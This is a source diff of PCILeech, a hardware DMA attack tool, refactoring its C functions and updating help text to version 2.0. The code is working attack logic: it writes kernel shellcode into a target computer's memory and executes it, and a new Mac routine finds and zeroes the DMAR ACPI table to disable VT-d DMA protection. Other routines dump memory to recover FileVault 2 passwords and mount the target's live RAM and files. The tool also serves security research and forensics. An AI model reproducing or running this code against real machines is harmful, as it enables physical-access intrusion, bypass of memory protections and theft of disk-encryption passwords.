PSTR szBufferText = NULL;
|
||||
DWORD cbBufferText, cbLength;
|
||||
DWORD cbLength;
|
||||
HANDLE hFile = NULL;
|
||||
PKMDDATA pk;
|
||||
PKMDDATA pk = ctx->pk;
|
||||
//------------------------------------------------
|
||||
// 1: Setup and initial validity checks.
|
||||
//------------------------------------------------
|
||||
if(!pDeviceData->KMDHandle) {
|
||||
printf("EXEC: Failed. Retrieving page info requires an active kernel module (KMD). Please use in conjunction with the -kmd option only.\n");
|
||||
if(!ctx->phKMD) {
|
||||
printf("EXEC: Failed. Executing code requires an active kernel module (KMD).\n Please use in conjunction with the -kmd option only.\n");
|
||||
goto fail;
|
||||
}
|
||||
pk = ((PKMDHANDLE)pDeviceData->KMDHandle)->status;
|
||||
if(pk->DMASizeBuffer < 0x084000 + 0x100000 + min(0x100000, SIZE_PAGE_ALIGN_4K(pCfg->cbIn))) {
|
||||
if(pk->DMASizeBuffer < 0x084000 + 0x100000 + min(0x100000, SIZE_PAGE_ALIGN_4K(ctx->cfg->cbIn))) {
|
||||
printf("EXEC: Failed. DMA buffer is too small / input size exceeded.\n");
|
||||
goto fail;
|
||||
}
|
||||
//------------------------------------------------
|
||||
// 2: Load KMD shellcode and commit to target memory.
|
||||
//------------------------------------------------
|
||||
result = Util_LoadKmdExecShellcode(pCfg->szShellcodeName, &pKmdExec);
|
||||
result = Util_LoadKmdExecShellcode(ctx->cfg->szShellcodeName, &pKmdExec);
|
||||
if(!result) {
|
||||
printf("EXEC: Failed loading shellcode from file: '%s.ksh' ...\n", pCfg->szShellcodeName);
|
||||
printf("EXEC: Failed loading shellcode from file: '%s.ksh' ...\n", ctx->cfg->szShellcodeName);
|
||||
goto fail;
|
||||
}
|
||||
result = DeviceWriteDMAVerify(pDeviceData, pk->DMAAddrPhysical, pKmdExec->pbShellcode, (DWORD)pKmdExec->cbShellcode, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
result = DeviceWriteDMA(ctx, pk->DMAAddrPhysical, pKmdExec->pbShellcode, (DWORD)pKmdExec->cbShellcode, PCILEECH_MEM_FLAG_RETRYONFAIL | PCILEECH_MEM_FLAG_VERIFYWRITE);
|
||||
if(!result) {
|
||||
printf("EXEC: Failed writing shellcode to target memory.\n");
|
||||
goto fail;
|
||||
@@ -293,19 +285,19 @@ VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
// [0x082000, X [ = data in (to target computer); X = max(0x100000, cb_in)
|
||||
// [X , buf_max [ = data out (from target computer)
|
||||
//------------------------------------------------
|
||||
DeviceWriteDMA(pDeviceData, pk->DMAAddrPhysical + 0x080000, pbZeroPage2, 0x2000, 0);
|
||||
DeviceWriteDMA(ctx, pk->DMAAddrPhysical + 0x080000, pbZeroPage2, 0x2000, 0);
|
||||
pk->dataInExtraOffset = 0x082000;
|
||||
pk->dataInExtraLength = pCfg->cbIn;
|
||||
pk->dataInExtraLengthMax = max(0x100000, SIZE_PAGE_ALIGN_4K(pCfg->cbIn));
|
||||
pk->dataInExtraLength = ctx->cfg->cbIn;
|
||||
pk->dataInExtraLengthMax = max(0x100000, SIZE_PAGE_ALIGN_4K(ctx->cfg->cbIn));
|
||||
pk->dataOutExtraOffset = pk->dataInExtraOffset + pk->dataInExtraLengthMax;
|
||||
pk->dataOutExtraLength = 0;
|
||||
pk->dataOutExtraLengthMax = pk->DMASizeBuffer - pk->dataOutExtraOffset;
|
||||
memcpy(pk->dataIn, pCfg->qwDataIn, sizeof(QWORD) * 10);
|
||||
memcpy(pk->dataInStr, pCfg->szInS, MAX_PATH);
|
||||
memcpy(pk->dataIn, ctx->cfg->qwDataIn, sizeof(QWORD) * 10);
|
||||
memcpy(pk->dataInStr, ctx->cfg->szInS, MAX_PATH);
|
||||
memset(pk->dataOut, 0, sizeof(QWORD) * 10);
|
||||
memset(pk->dataOutStr, 0, MAX_PATH);
|
||||
if(pCfg->cbIn) {
|
||||
result = DeviceWriteDMA(pDeviceData, pk->DMAAddrPhysical + pk->dataInExtraOffset, pCfg->pbIn, (DWORD)SIZE_PAGE_ALIGN_4K(pCfg->cbIn), 0);
|
||||
if(ctx->cfg->cbIn) {
|
||||
result = DeviceWriteDMA(ctx, pk->DMAAddrPhysical + pk->dataInExtraOffset, ctx->cfg->pbIn, (DWORD)SIZE_PAGE_ALIGN_4K(ctx->cfg->cbIn), 0);
|
||||
if(!result) {
|
||||
printf("EXEC: Failed writing data to target memory.\n");
|
||||
goto fail;
|
||||
@@ -316,8 +308,8 @@ VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
//------------------------------------------------
|
||||
// 4: Execute! and display result.
|
||||
//------------------------------------------------
|
||||
KMD_SubmitCommand(pCfg, pDeviceData, pDeviceData->KMDHandle, KMD_CMD_VOID);
|
||||
result = KMD_SubmitCommand(pCfg, pDeviceData, pDeviceData->KMDHandle, KMD_CMD_EXEC);
|
||||
KMD_SubmitCommand(ctx, KMD_CMD_VOID);
|
||||
result = KMD_SubmitCommand(ctx, KMD_CMD_EXEC);
|
||||
if(!result) {
|
||||
printf("EXEC: Failed sending execute command to KMD.\n");
|
||||
goto fail;
|
||||
@@ -342,22 +334,15 @@ VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
if(cbLength > 0) {
|
||||
// read extra output buffer
|
||||
if(!(pbBuffer = LocalAlloc(LMEM_ZEROINIT, SIZE_PAGE_ALIGN_4K(cbLength))) ||
|
||||
!DeviceReadDMA(pDeviceData, pk->DMAAddrPhysical + pk->dataOutExtraOffset, pbBuffer, SIZE_PAGE_ALIGN_4K(cbLength), 0)) {
|
||||
!DeviceReadDMA(ctx, pk->DMAAddrPhysical + pk->dataOutExtraOffset, pbBuffer, SIZE_PAGE_ALIGN_4K(cbLength), 0)) {
|
||||
printf("EXEC: Error reading output.\n");
|
||||
goto fail;
|
||||
}
|
||||
// print to screen
|
||||
if(cbLength > CONFIG_SHELLCODE_MAX_BYTES_OUT_PRINT) {
|
||||
printf("EXEC: Large output. Only displaying first %i bytes.\n", CONFIG_SHELLCODE_MAX_BYTES_OUT_PRINT);
|
||||
}
|
||||
if(CryptBinaryToStringA(pbBuffer, min(CONFIG_SHELLCODE_MAX_BYTES_OUT_PRINT, cbLength), CRYPT_STRING_HEXASCIIADDR, NULL, &cbBufferText) &&
|
||||
(szBufferText = (LPSTR)LocalAlloc(LMEM_ZEROINIT, cbBufferText)) &&
|
||||
CryptBinaryToStringA(pbBuffer, min(CONFIG_SHELLCODE_MAX_BYTES_OUT_PRINT, cbLength), CRYPT_STRING_HEXASCIIADDR, szBufferText, &cbBufferText)) {
|
||||
printf("%s\n", szBufferText);
|
||||
}
|
||||
Util_PrintHexAscii(pbBuffer, cbLength);
|
||||
// write to out file
|
||||
if(pCfg->szFileOut[0]) {
|
||||
hFile = CreateFileA(pCfg->szFileOut, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if(ctx->cfg->szFileOut[0]) {
|
||||
hFile = CreateFileA(ctx->cfg->szFileOut, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if(!hFile || (hFile == INVALID_HANDLE_VALUE)) {
|
||||
printf("EXEC: Error writing output to file.\n");
|
||||
goto fail;
|
||||
@@ -366,14 +351,14 @@ VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
printf("EXEC: Error writing output to file.\n");
|
||||
goto fail;
|
||||
}
|
||||
printf("EXEC: Wrote %i bytes to file %s.\n", cbLength, pCfg->szFileOut);
|
||||
printf("EXEC: Wrote %i bytes to file %s.\n", cbLength, ctx->cfg->szFileOut);
|
||||
}
|
||||
}
|
||||
//----------------------------------------------------------
|
||||
// 6: Call the post execution console redirection if needed.
|
||||
//----------------------------------------------------------
|
||||
if(pk->dataInConsoleBuffer || pk->dataOutConsoleBuffer) {
|
||||
Exec_ConsoleRedirect(pCfg, pDeviceData, pk->dataInConsoleBuffer, pk->dataOutConsoleBuffer);
|
||||
Exec_ConsoleRedirect(ctx, pk->dataInConsoleBuffer, pk->dataOutConsoleBuffer);
|
||||
}
|
||||
printf("\n");
|
||||
fail:
|
||||
|
||||
@@ -12,12 +12,10 @@
|
||||
* Callback for when kernel executable code is in "extended execution mode".
|
||||
* This will allow the kernel executable code running on the target machine to
|
||||
* communicate interactively with this executable to deliver large files.
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
* -- pk
|
||||
* -- ctx
|
||||
* -- phCallback = ptr to handle; handle must be null on first entry.
|
||||
*/
|
||||
VOID Exec_Callback(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ PKMDDATA pk, _Inout_ PHANDLE phCallback);
|
||||
VOID Exec_Callback(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PHANDLE phCallback);
|
||||
|
||||
/*
|
||||
* Close handle opened/used in Exec_Callback.
|
||||
@@ -30,8 +28,7 @@ VOID Exec_CallbackClose(_In_ HANDLE hCallback);
|
||||
* This function is to be called internally by PCILeech functionality that
|
||||
* require more advanced kernel functionality than the core implant is able
|
||||
* to provide.
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
* -- szShellcodeName
|
||||
* -- pbIn = binary data to send to shellcode executing on the target.
|
||||
* -- cbIn
|
||||
@@ -40,15 +37,14 @@ VOID Exec_CallbackClose(_In_ HANDLE hCallback);
|
||||
* -- pcbOut
|
||||
* -- result
|
||||
*/
|
||||
BOOL Exec_ExecSilent(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbIn, _Out_ PBYTE *ppbOut, _Out_ PQWORD pcbOut);
|
||||
BOOL Exec_ExecSilent(_Inout_ PPCILEECH_CONTEXT ctx, _In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbIn, _Out_ PBYTE *ppbOut, _Out_ PQWORD pcbOut);
|
||||
|
||||
/*
|
||||
* Try to execute a shellcode module in the target system kernel. This function
|
||||
* requires a KMD to be loaded. The KMD is then used to load and execute the
|
||||
* code supplied in the target system!
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
*/
|
||||
VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData);
|
||||
VOID ActionExecShellcode(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
#endif /* __EXECUTOR_H__ */
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
#include "device.h"
|
||||
#include "util.h"
|
||||
|
||||
VOID Extra_MacFVRecover_ReadMemory_Optimized(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Inout_ PBYTE pb512M)
|
||||
VOID Extra_MacFVRecover_ReadMemory_Optimized(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PBYTE pb512M)
|
||||
{
|
||||
DWORD i, dwOffsets[] = {
|
||||
0x74000000, 0x75000000, 0x76000000, 0x77000000, 0x78000000, 0x79000000, 0x7a000000, 0x7b000000,
|
||||
@@ -16,7 +16,7 @@ VOID Extra_MacFVRecover_ReadMemory_Optimized(_In_ PCONFIG pCfg, _In_ PDEVICE_DAT
|
||||
0x88000000, 0x89000000, 0x8a000000, 0x8b000000, 0x8c000000, 0x8d000000, 0x8e000000, 0x8f000000
|
||||
};
|
||||
for(i = 0; i < sizeof(dwOffsets) / sizeof(DWORD); i++) {
|
||||
DeviceReadDMA(pDeviceData, dwOffsets[i], pb512M + dwOffsets[i] - 0x70000000, 0x01000000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
DeviceReadDMA(ctx, dwOffsets[i], pb512M + dwOffsets[i] - 0x70000000, 0x01000000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -86,7 +86,7 @@ VOID Extra_MacFVRecover_SetOutFileName(_Inout_ PCONFIG pCfg)
|
||||
}
|
||||
}
|
||||
|
||||
VOID Action_MacFilevaultRecover(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
VOID Action_MacFilevaultRecover(_Inout_ PPCILEECH_CONTEXT ctx, _In_ BOOL IsRebootRequired)
|
||||
{
|
||||
HANDLE hFile;
|
||||
DWORD cbLength;
|
||||
@@ -96,26 +96,32 @@ VOID Action_MacFilevaultRecover(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData
|
||||
printf("MAC_FVRECOVER: FAILED. Unable to allocate memory.\n");
|
||||
return;
|
||||
}
|
||||
// Wait for target computer reboot (device will power cycle).
|
||||
printf(
|
||||
"MAC_FVRECOVER: WAITING ... please reboot ...\n" \
|
||||
" Please force a reboot of the mac by pressing CTRL+CMD+POWER\n" \
|
||||
" WARNING! This will not work in macOS Sierra 10.12.2 and later.\n");
|
||||
Util_WaitForPowerCycle(pCfg, pDeviceData);
|
||||
if(IsRebootRequired) {
|
||||
// Wait for target computer reboot (device will power cycle).
|
||||
printf(
|
||||
"MAC_FVRECOVER: WAITING ... please reboot ...\n" \
|
||||
" Please force a reboot of the mac by pressing CTRL+CMD+POWER\n" \
|
||||
" WARNING! This will not work in macOS Sierra 10.12.2 and later.\n");
|
||||
Util_WaitForPowerCycle(ctx);
|
||||
} else {
|
||||
// Wait for DMA read access to target computer.
|
||||
printf("MAC_FVRECOVER: WAITING for DMA access ...\n");
|
||||
Util_WaitForPowerOn(ctx);
|
||||
}
|
||||
// Try read 512M of memory from in the range: [0x70000000..0x90000000[.
|
||||
printf("MAC_FVRECOVER: Continuing ...\n");
|
||||
Extra_MacFVRecover_ReadMemory_Optimized(pCfg, pDeviceData, pbBuffer512M);
|
||||
Extra_MacFVRecover_ReadMemory_Optimized(ctx, pbBuffer512M);
|
||||
// Try write to disk image.
|
||||
printf("MAC_FVRECOVER: Writing partial memory contents to file ...\n");
|
||||
Extra_MacFVRecover_SetOutFileName(pCfg);
|
||||
hFile = CreateFileA(pCfg->szFileOut, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
Extra_MacFVRecover_SetOutFileName(ctx->cfg);
|
||||
hFile = CreateFileA(ctx->cfg->szFileOut, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if(!hFile || (hFile == INVALID_HANDLE_VALUE)) {
|
||||
printf("MAC_FVRECOVER: Error writing partial memory contents to file.\n");
|
||||
hFile = NULL;
|
||||
} else if(!WriteFile(hFile, pbBuffer512M, 0x20000000, &cbLength, NULL)) {
|
||||
printf("MAC_FVRECOVER: Error writing partial memory contents to file.\n");
|
||||
} else {
|
||||
printf("MAC_FVRECOVER: File: %s.\n", pCfg->szFileOut);
|
||||
printf("MAC_FVRECOVER: File: %s.\n", ctx->cfg->szFileOut);
|
||||
}
|
||||
// Analyze for possible password candidates.
|
||||
printf("MAC_FVRECOVER: Analyzing ...\n");
|
||||
@@ -129,16 +135,52 @@ VOID Action_MacFilevaultRecover(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData
|
||||
if(hFile) { CloseHandle(hFile); }
|
||||
}
|
||||
|
||||
VOID Action_PT_Phys2Virt(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
VOID Action_MacDisableVtd(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
PBYTE pb16M;
|
||||
BYTE ZERO16[16] = { 0 };
|
||||
DWORD i, j, dwAddress, dwOffsets[] = {
|
||||
0x8a000000, 0x8b000000, 0x8c000000, 0x8d000000, 0x89000000, 0x88000000, 0x87000000, 0x86000000
|
||||
};
|
||||
// Allocate 16 MB buffer
|
||||
if(!(pb16M = LocalAlloc(LMEM_ZEROINIT, 0x01000000))) {
|
||||
printf("MAC_DISABLE_VTD: FAILED. Unable to allocate memory.\n");
|
||||
return;
|
||||
}
|
||||
// Wait for DMA read access to target computer.
|
||||
printf("MAC_DISABLE_VTD: WAITING for DMA access ...\n");
|
||||
Util_WaitForPowerOn(ctx);
|
||||
// DMAR table assumed to be on page boundary. This doesn't have to be true,
|
||||
// but it seems like it is on the MACs.
|
||||
for(i = 0; i < sizeof(dwOffsets) / sizeof(DWORD); i++) {
|
||||
if(DeviceReadDMA(ctx, dwOffsets[i], pb16M, 0x01000000, 0)) {
|
||||
for(j = 0; j < 0x01000000; j += 0x1000) {
|
||||
if(*(PQWORD)(pb16M + j) == 0x0000008852414d44) {
|
||||
dwAddress = dwOffsets[i] + j;
|
||||
if(DeviceWriteDMA(ctx, dwAddress, ZERO16, 16, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
printf("MAC_DISABLE_VTD: VT-d DMA protections should now be disabled ...\n");
|
||||
printf("MAC_DISABLE_VTD: DMAR ACPI table found and removed at: 0x%08x\n", dwAddress);
|
||||
LocalFree(pb16M);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
LocalFree(pb16M);
|
||||
printf("MAC_DISABLE_VTD: Failed to disable VT-d DMA protections.\n");
|
||||
}
|
||||
|
||||
VOID Action_PT_Phys2Virt(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
BOOL result;
|
||||
QWORD qwVA, qwPTE, qwPDE, qwPDPTE, qwPML4E;
|
||||
printf("PT_PHYS2VIRT: searching ... (this may take some time).\n");
|
||||
result = Util_PageTable_FindMappedAddress(pCfg, pDeviceData, pCfg->qwCR3, pCfg->qwDataIn[0], &qwVA, &qwPTE, &qwPDE, &qwPDPTE, &qwPML4E);
|
||||
result = Util_PageTable_FindMappedAddress(ctx, ctx->cfg->qwCR3, ctx->cfg->qwDataIn[0], &qwVA, &qwPTE, &qwPDE, &qwPDPTE, &qwPML4E);
|
||||
if(result) {
|
||||
printf("PT_PHYS2VIRT: finished.\n");
|
||||
printf(" 0x00000000FFFFFFFF\n");
|
||||
printf(" PA: 0x%016llx\n", pCfg->qwDataIn[0]);
|
||||
printf(" PA: 0x%016llx\n", ctx->cfg->qwDataIn[0]);
|
||||
printf(" VA: 0x%016llx\n", qwVA);
|
||||
printf(" PTE: 0x%016llx\n", qwPTE);
|
||||
printf(" PDE: 0x%016llx\n", qwPDE);
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// extra.h : definitions related to various extra functionality such as exploits.
|
||||
//
|
||||
// (c) Ulf Frisk, 2016
|
||||
// (c) Ulf Frisk, 2016, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#ifndef __EXTRA_H__
|
||||
@@ -9,17 +9,28 @@
|
||||
#include "kmd.h"
|
||||
|
||||
/*
|
||||
* Recover the Filevault 2 password on locked macOS systems prior or equal to 10.12.2
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
* Recover the Filevault 2 password on locked macOS systems prior to 10.12.2.
|
||||
* (IsRebootRequired = TRUE).
|
||||
* Also recover the Filevault 2 password just after user filevault unlock on
|
||||
* some macs prior to 10.XX.YY (IsRebootRequired = FALSE).
|
||||
* -- ctx
|
||||
* -- IsRebootRequired
|
||||
*/
|
||||
VOID Action_MacFilevaultRecover(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData);
|
||||
VOID Action_MacFilevaultRecover(_Inout_ PPCILEECH_CONTEXT ctx, _In_ BOOL IsRebootRequired);
|
||||
|
||||
/*
|
||||
* Try to disable VT-d on a mac in the short time window that exists after EFI
|
||||
* drops VT-d DMA protections and before macOS enables them again. If successful
|
||||
* the DMAR ACPI table will be zeroed out - resulting in macOS not enabling VT-d
|
||||
* DMA protections. This works on macs prior to 10.XX.YY
|
||||
* -- ctx
|
||||
*/
|
||||
VOID Action_MacDisableVtd(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
/*
|
||||
* Search for the virtual address that maps to a physical address given a page table base.
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
*/
|
||||
VOID Action_PT_Phys2Virt(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData);
|
||||
VOID Action_PT_Phys2Virt(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
#endif /* __EXTRA_H__ */
|
||||
|
||||
1236
pcileech/fileinfo.h
Normal file
1236
pcileech/fileinfo.h
Normal file
File diff suppressed because it is too large
Load Diff
133
pcileech/help.c
133
pcileech/help.c
@@ -32,7 +32,8 @@ VOID Help_ShowGeneral()
|
||||
" erted KMD. The already inserted KMD will be left intact upon exit. If the KMD\n" \
|
||||
" contains a kernel mode signature the kernel module will be loaded and then un-\n" \
|
||||
" loaded on program exit ( except for the kmdload command ). \n" \
|
||||
" KMD mode may access all memory. DMA mode may only access memory below 4GB. \n" \
|
||||
" KMD mode may access all memory. DMA mode may only access memory below 4GB if\n" \
|
||||
" the USB3380 hardware is used. \n" \
|
||||
" For more detailed help about a specific command type: pcileech <command> -help\n" \
|
||||
" General syntax: pcileech.exe <command> [-<optionname1> <optionvalue1>] ... \n" \
|
||||
" Valid commands and valid MODEs [ and options ]: \n" \
|
||||
@@ -44,30 +45,32 @@ VOID Help_ShowGeneral()
|
||||
" [implant] KMD [ in, out, s, 0..9 ] \n" \
|
||||
" kmdload DMA [ pt, cr3 ] \n" \
|
||||
" kmdexit KMD \n" \
|
||||
" 8051start DMA,KMD [ in ] \n" \
|
||||
" 8051stop DMA,KMD \n" \
|
||||
" flash DMA,KMD [ in ] \n" \
|
||||
" mount KMD [ s ] \n" \
|
||||
" pagedisplay DMA,KMD [ min ] \n" \
|
||||
" pt_phys2virt DMA,KMD [ cr3, 0 ] \n" \
|
||||
" testmemread DMA [ min ] \n" \
|
||||
" testmemreadwrite DMA [ min ] \n" \
|
||||
" Device specific commands and valid MODEs [ and options ] (and device): \n" \
|
||||
" usb3380_flash DMA,KMD [ in ] (USB3380) \n" \
|
||||
" usb3380_8051start DMA,KMD [ in ] (USB3380) \n" \
|
||||
" usb3380_8051stop DMA,KMD (USB3380) \n" \
|
||||
" tlp DMA [ in ] (SP605) \n" \
|
||||
" System specific commands and valid MODEs [ and options ]: \n" \
|
||||
" mac_fvrecover DMA \n" \
|
||||
" mac_fvrecover2 DMA \n" \
|
||||
" mac_disablevtd DMA \n" \
|
||||
" Valid options: \n" \
|
||||
" -min : memory min address, valid range: 0x0..0xffffffffffffffff \n" \
|
||||
" default: 0x0 \n" \
|
||||
" For memory accesses over 0xffffffff KMD must be loaded. \n" \
|
||||
" note that the address must be given in hexadecimal format. \n" \
|
||||
" -max : memory max address, valid range: 0x0..0xffffffffffffffff \n" \
|
||||
" default: 0xffffffff (4GB) in standard mode \n" \
|
||||
" default: actual memory size in KMD mode \n" \
|
||||
" For memory accesses over 0xffffffff KMD must be loaded. \n" \
|
||||
" note that the address must be given in hexadecimal format. \n" \
|
||||
" default: <max supported by device> (0xffffffff/4GB for USB3380) \n" \
|
||||
" default: actual memory size in KMD mode. \n" \
|
||||
" -out : name of output file. \n" \
|
||||
" default: pcileech-<minaddr>-<maxaddr>-<date>-<time>.raw \n" \
|
||||
" No output file will be created if parameter is set to none or null. \n" \
|
||||
" -all : search all memory for signature - do not stop at first occurrence. \n" \
|
||||
" Option has no value. Example: -all \n" \
|
||||
" -vv : extra verbose option. Same as -v but even more detailed output. \n" \
|
||||
" -v : verbose option. Additional information is displayed in the output. \n" \
|
||||
" The memory map is shown when searching/dumping memory as an example. \n" \
|
||||
" Affects all modes and commands. \n" \
|
||||
@@ -75,13 +78,17 @@ VOID Help_ShowGeneral()
|
||||
" -force: force reads and writes even though target memory is marked as not \n" \
|
||||
" accessible. Dangerous! Affects all modes and commands. \n" \
|
||||
" Option has no value. Example: -force \n" \
|
||||
" -usb2: force USB2 mode. USB2 will reduce transfer speed but may increase \n" \
|
||||
" stability. PCILeech device must be power cycled to return to USB3. \n" \
|
||||
" -usb2: force USB2 mode (only for USB3380 device). USB2 will reduce transfer \n" \
|
||||
" speed but may increase stability. \n" \
|
||||
" Affects all modes and commands. \n" \
|
||||
" Option has no value. Example: -usb2 \n" \
|
||||
" -iosize: max DMA i/o size. Hardware DMA requests larger than iosize will \n" \
|
||||
" be discarded. Affects all modes and commands. \n" \
|
||||
" default: 0x00800000 (8MB) \n" \
|
||||
" -wait: wait in seconds before exit. Useful when viewing received PCIe TLPs. \n" \
|
||||
" Affects all modes and commands. \n" \
|
||||
" -device: specify a hardware device other than the USB3380 to use. \n" \
|
||||
" Affects all modes and commands. \n" \
|
||||
" Valid options: USB3380, SP605 \n" \
|
||||
" -help: show help about the selected command or implant and then exit \n" \
|
||||
" without running the command. Affects all modes and commands. \n" \
|
||||
" Option has no value. Example: -help \n" \
|
||||
@@ -98,14 +105,14 @@ VOID Help_ShowGeneral()
|
||||
" with 4GB+ RAM when kernel is located in high-memory (Windows 10). \n" \
|
||||
" Insertion may trigger system crash unless signature exactly matches. \n" \
|
||||
" -cr3 : base address of system page table / CR3 CPU register. \n" \
|
||||
" Valid range: 0x00..0xfffff000 \n" \
|
||||
" Insertion may trigger system crash unless signature exactly matches. \n" \
|
||||
" -kmd : address of already loaded kernel module helper (KMD). \n" \
|
||||
" ALTERNATIVELY \n" \
|
||||
" kernel module to use, see list below for choices: \n" \
|
||||
" WIN10_X64 \n" \
|
||||
" LINUX_X64 (NB! Kernels below 4.8 only) \n" \
|
||||
" LINUX_X64_EFI (NB! EFI/UEFI booted systems only) \n" \
|
||||
" LINUX_X64_46 (NB! Kernels 4.6 and below) \n" \
|
||||
" LINUX_X64_48 (NB! Kernels 4.8+, 64-bit DMA recommended) \n" \
|
||||
" LINUX_X64_EFI (NB! UEFI booted systems only) \n" \
|
||||
" FREEBSD_X64 \n" \
|
||||
" MACOS \n" \
|
||||
);
|
||||
@@ -124,7 +131,7 @@ VOID Help_ShowInfo()
|
||||
printf(
|
||||
" PCILEECH INFORMATION \n" \
|
||||
" PCILeech (c) 2016, 2017 Ulf Frisk \n" \
|
||||
" Version: 1.5.2 \n" \
|
||||
" Version: 2.0 \n" \
|
||||
" License: GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 \n" \
|
||||
" Contact information: pcileech@frizk.net \n" \
|
||||
" System requirements: 64-bit Windows 7, 10 or later. \n" \
|
||||
@@ -132,16 +139,24 @@ VOID Help_ShowInfo()
|
||||
" PCILeech - https://github.com/ufrisk/pcileech \n" \
|
||||
" Slotscreamer - https://github.com/NSAPlayset/SLOTSCREAMER \n" \
|
||||
" Inception - https://github.com/carmaa/inception \n" \
|
||||
" Google USB driver - http://developer.android.com/sdk/win-usb.html#download \n" \
|
||||
" Google USB driver - https://developer.android.com/sdk/win-usb.html#download \n" \
|
||||
" Dokany - https://github.com/dokan-dev/dokany/releases/latest \n" \
|
||||
" ---------------- \n" \
|
||||
" Use with USB3380 hardware programmed as a pcileech device only. \n" \
|
||||
" Use with USB2 or USB3. USB3 is strongly recommended performance wise. \n\n" \
|
||||
" Use with USB3380 hardware programmed as a PCILeech device. \n" \
|
||||
" Use with SP605 hardware / 'PCI Express DIY hacking toolkit' by cr4sh/@d_olex. \n\n" \
|
||||
" ---------------- \n" \
|
||||
" Driver information: \n" \
|
||||
" The pcileech requires a dummy driver to function properly. The pcileech \n" \
|
||||
" device masks as a Google Glass. Please download and install the Google USB \n" \
|
||||
" driver before proceeding. \n" \
|
||||
" Driver information (USB3380): \n" \
|
||||
" The USB3380 HW requires a dummy driver to function properly. The PCILeech \n" \
|
||||
" device masks as a Google Glass. Please download and install the Google USB \n" \
|
||||
" driver before proceeding by using the USB3380 device. USB3 is recommended \n" \
|
||||
" to performance reasons (USB2 will work but impact performance). \n" \
|
||||
" Driver information (Dokany): \n" \
|
||||
" To be able to use the 'mount' functionality for filesystem browsing and live\n" \
|
||||
" memory file access PCILeech requires Dokany to be installed for virtual file\n" \
|
||||
" system support. Please download and install Dokany on your computer before \n" \
|
||||
" using the mount functionality. \n" \
|
||||
" ---------------- \n" \
|
||||
" Notes about the PCILeech USB3380 device: \n" \
|
||||
" Usage: connect USB3380 device to target computer and USB cable to the computer\n" \
|
||||
" executing pcileech.exe. If all memory reads fail try to re-insert the device.\n" \
|
||||
" - It is only possible to access the lower 4GB of RAM (32-bit) with DMA. \n" \
|
||||
@@ -270,6 +285,33 @@ VOID Help_ShowDetailed(_In_ PCONFIG pCfg)
|
||||
" 4) search for the first location containing the pattern in the file pat.bin. \n" \
|
||||
" pcileech search -in pat.bin -all -kmd 0x7fffe000 \n");
|
||||
break;
|
||||
case MOUNT:
|
||||
printf(
|
||||
" MOUNT TARGET LIVE RAM AND FILE SYSTEM AS 'NETWORK DRIVE'. \n" \
|
||||
" MODES : KMD \n" \
|
||||
" OPTIONS : -s \n" \
|
||||
" Mount the target system live ram and file system as the drive letter specified\n" \
|
||||
" in the -s option. If the -s option is not specified PCILeech will try to mount\n" \
|
||||
" the target file system as the K: drive letter. \n" \
|
||||
" File system mount is currently supported for: macOS, Windows and Linux. There\n" \
|
||||
" are limitations that are important to know, please see below. Use at own risk!\n" \
|
||||
" - Create file: not implemented. \n" \
|
||||
" - Write to files may be buggy and may in rare cases corrupt the target file. \n" \
|
||||
" - Delete file will most often work, but with errors. \n" \
|
||||
" - Delete directory, rename/move file and other features may not be supported.\n" \
|
||||
" - Only the C:\\ driver is mounted on Windows target systems. \n" \
|
||||
" The target system files are found in the files directory. The live memory of\n" \
|
||||
